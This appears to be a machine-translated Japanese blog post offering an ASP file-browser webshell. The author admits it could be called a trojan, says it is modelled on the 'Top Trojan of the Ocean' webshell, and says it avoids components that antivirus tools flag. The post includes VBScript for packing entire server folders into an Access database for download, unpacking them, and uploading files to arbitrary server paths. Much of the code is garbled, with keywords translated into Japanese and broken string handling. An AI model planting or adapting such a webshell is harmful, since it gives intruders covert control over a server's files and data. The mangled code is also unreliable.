これは、FSO コレクション オブジェクトを使用して作成された FSO ファイル ブラウザです (これがトロイの木馬であると主張するのであれば、私は異論はありません)。機能的には、「Top Trojan of the Ocean」の設計を模倣していますが、コードは完全に書き直されています。 . ウイルス対策ソフトウェアによる偶発的な強制終了を引き起こしやすい Shell.Application などのコンポーネントを使用する。インターネット上には同様のツールが多数ありますが、このツールの利用価値はそれほど大きくありませんが、そのコードの多くはよく書かれていると考えられます。
主な機能は次のとおりです。ディスク情報の表示、ディスク ファイルの参照、および作成、削除、名前変更、コピー、移動、その他の基本的なファイル操作などの Windows エクスプローラーと同様の操作を行います。
ストリーム モードのファイル ダウンロードは、コンポーネントを使用せずにアップロード ファイルのパッケージ化/解凍を簡素化し、最適化します。フォルダーを完全にパッケージ化/解凍できます。
コードスニペット:
1. ファイルのパッケージ化/解凍部分
- サブパック( ByVal FPath、 ByVal sDbPath)
- Server.ScriptTimeOut=900
- ディムDBPath
- Right(sDbPath,4)= ".mdb"の場合 それから
- DbPath=sDbPath
- それ以外
- DbPath=sDbPath ".mdb"
- 終わり もし
- oFso.FolderExists(DbPath)の場合
- EchoBack "データベース ファイルを作成できません!" &Replace(DbPath, ""," \")
- 出口 サブ
- 終わり もし
- oFso.FileExists(DbPath)の場合
- oFso.DeleteFile DbPath
- 終わり もし
- IsFolder(FPath)の場合
- ルートパス=GetParentFolder(FPath)
- 右の場合(RootPath,1)<> "" then RootPath=RootPath&" "
- それ以外
- EchoBack 「フォルダーのパスを入力してください!」
- 出口 サブ
- 終わり もし
- Dim oCatalog、connStr、DataName
- Set conn=Server.CreateObject( "ADODB.Connection" )
- Set oStream=Server.CreateObject( "ADODB.Stream" )
- Set oCatalog=Server.CreateObject( "ADOX.Catalog" )
- Set rs=Server.CreateObject( "ADODB.RecordSet" )
- の上 エラー 再開する 次
- connStr = "プロバイダ=Microsoft.Jet.OLEDB.4.0; データ ソース=" & DbPath
- oCatalog.connStr の作成
- エラーの場合はその後
- EchoBack "データベース ファイルを作成できません!" &Replace(DbPath, ""," \")
- 出口 サブ
- 終わり もし
- oCatalog=なしを設定します
- conn.Open connStr
- conn.Execute( "テーブル ファイルの作成(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)" )
- oStream.Open
- oStream.Type=1
- rs. 「ファイル」を開く、conn、3、3
- DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1)
- NoPackFiles=Replace(NoPackFiles, "<$datafile>" ,DataName)
- FailFileList= ""
- PackFolderFPath
- FailFilelist = ""の場合 それから
- EchoClose 「フォルダーのパッケージ化が成功しました!」
- それ以外
- Response.Write "<link rel= stylesheet type= text/css href= ?page=css >"
- Response.Write "<Script Language= JavaScript >alert( フォルダーのパッケージ化が完了しました!n以下は、パッケージ化に失敗したファイルのリストです: );</Script>"
- Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
- 終わり もし
- oStream.Close
- rs.閉じる
- 接続閉じる
- 終わり サブ
- サブパックフォルダー(フォルダーパス)
- もし IsFolder(FolderPath)ではない場合 出口 サブ
- Dim oFolder、sFile、sFolder
- oFolder=oFso.GetFolder(FolderPath)を設定します
- のために oFolder.Files内の各sFile
- If InStr(NoPackFiles, "|" &sFile.Name "|" )<1 then
- PackFile sFile.Path
- 終わり もし
- 次
- sFile =なしを設定します
- のために oFolder.SubFolders内の各sFolder
- PackFolder sFolder.Path
- 次
- sFolder=なしを設定します
- 終わり サブ
- サブパックファイル(ファイルパス)
- ディムレルパス
- RelPath=Replace(ファイルパス,ルートパス, "" )
-
- の上 エラー 再開する 次
- エラークリア
- エラー =偽
- oStream.LoadFromFile ファイルパス
- rs.AddNew
- rs( "ファイルパス" )=RelPath
- rs( "ファイルデータ" )=oStream.Read()
- rs.アップデート
- エラーの場合はその後
-
- FailFilelist=FailFilelist&ファイルパス"|"
- 終わり もし
- 終わり サブ
- サブUnPack(vFolderPath,DbPath)
- Server.ScriptTimeOut=900
- Dimファイルパス、フォルダーパス、sフォルダーパス
- フォルダーパス=vフォルダーパス
- フォルダーパス=トリム(フォルダーパス)
- If Mid(FolderPath,2,1)<> ":" それから
- EchoBack 「パスの形式が間違っているため、ディレクトリを作成できません!」
- 出口 サブ
- 終わり もし
- Right(FolderPath,1)= ""の場合 次に、 FolderPath=Left(FolderPath,Len(FolderPath)-1)となります。
- Dim connStr
- Set conn=Server.CreateObject( "ADODB.Connection" )
- Set oStream=Server.CreateObject( "ADODB.Stream" )
- Set rs=Server.CreateObject( "ADODB.RecordSet" )
- connStr = "プロバイダ=Microsoft.Jet.OLEDB.4.0; データ ソース=" & DbPath
- の上 エラー 再開する 次
- エラー =偽
- conn.Open connStr
- エラーの場合はその後
- EchoBack 「データベースオープンエラー!」
- 出口 サブ
- 終わり もし
- エラー =偽
- oStream.Open
- oStream.Type=1
- rs. 「ファイル」を開く、conn、1、1
- 失敗ファイルリスト = ""
- する rs.EOFまで
- エラークリア
- エラー =偽
- ファイルパス=フォルダーパス""&rs("ファイルパス")
- FilePath=Replace(ファイルパス, "\"," ")
- sFolderPath=Left(ファイルパス,InStrRev(ファイルパス, "" ))
- もし oFso.FolderExists(sFolderPath)ではない場合
- CreateFolder(sFolderPath)
- 終わり もし
- oStream.SetEos()
- oStream.Write rs( "FileData" )
- oStream.SaveToFile ファイルパス、2
- エラーの場合はその後
- FailFilelist=FailFilelist&rs( "FilePath" ).Value "|"
- 終わり もし
- rs.次へ移動
- ループ
- rs.閉じる
- rs =何も設定しない
- 接続閉じる
- conn=なしを設定します
- oStream =なしを設定します
- FailFilelist = ""の場合 それから
- EchoClose 「ファイルの解凍に成功しました!」
- それ以外
- Response.Write "<link rel= stylesheet type= text/css href= ?page=css >"
- Response.Write "<Script Language= JavaScript >alert(フォルダーのパッケージ化が完了しました!n以下はパッケージ化に失敗したファイルのリストです。確認してください);</Script>"
- Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
- 終わり もし
- 終わり サブ
2. ファイルアップロード部分 (単一ファイル):
- Sub Saveupload ( ByVal FolderName)
- もし Not IsFolder(FolderName) then
- EchoClose 「アップロード フォルダーが指定されていません!」
- 出口 サブ
- 終わり もし
- ディムパス、IsOverWrite
- パス=フォルダー名
- If Right(Path,1)<> "" then Path=Path&" "
- FileName=Replace(Request( "filename" ), ""," ")
- If Len(FileName)<1 then
- EchoBack 「ファイルを選択してファイル名を入力してください!」
- 出口 サブ
- 終わり
- パス=パス
- の場合
- LCase(Request( "上書き" ))= "true"の場合 次に
- IsOverWrite= True
- それ以外の場合は
- IsOverWrite= False
- 終わり もし
- の上 エラー 再開する 次
- MyUpload(Path,IsOverWrite)を呼び出す
- If Err then
- EchoBack 「ファイルのアップロードに失敗しました! (ファイルはすでに存在する可能性があります)」
- Else
- EchoClose "ファイルは正常にアップロードされました!n" & Replace(fileName, "", " \")
- 終わり
- 終了の
- 場合
- サブ
- Sub MyUpload(FilePath,IsOverWrite)
- Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
- RequestSize=Request.TotalBytes
- RequestSize<1の場合 出口 サブ
- Set oStream=Server.CreateObject( "ADODB.Stream" )
- Set tStream=Server.CreateObject( "ADODB.Stream" )
- oStreamの場合
- .Type=1
- .Mode=3
- .Open
- .Write=Request.BinaryRead(RequestSize)
- .Position=0
- sData=.Read
- bCrLf=ChrB(13)&ChrB(10)
- iSpaceEnd=InStrB(sData,bCrLf)-1
- sSpace =LeftB(sData,iSpaceEnd)
- iInfoStart=iSpaceEnd+3
- iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
- iFileStart=iInfoEnd+5
- iFileEnd=InStrB(iFileStart,sData,sSpace)-3
- sData= ""
- iFileSize=iFileEnd-iFileStart+1
- tStream.Type=1
- tStream.Mode=3
- tStream.Open
- .Position=iFileStart-1
- .CopyTo tStream,iFileSize
- IsOverWriteの場合、
- tStream.SaveToFile FilePath,2
- Else
- tStream.SaveToFile ファイルパス
- 終わり
- tStream.Close
- .Close
- の場合
- 終わり と
- SettStream =なし
- oStream=何も設定しないで
- 終了 サブ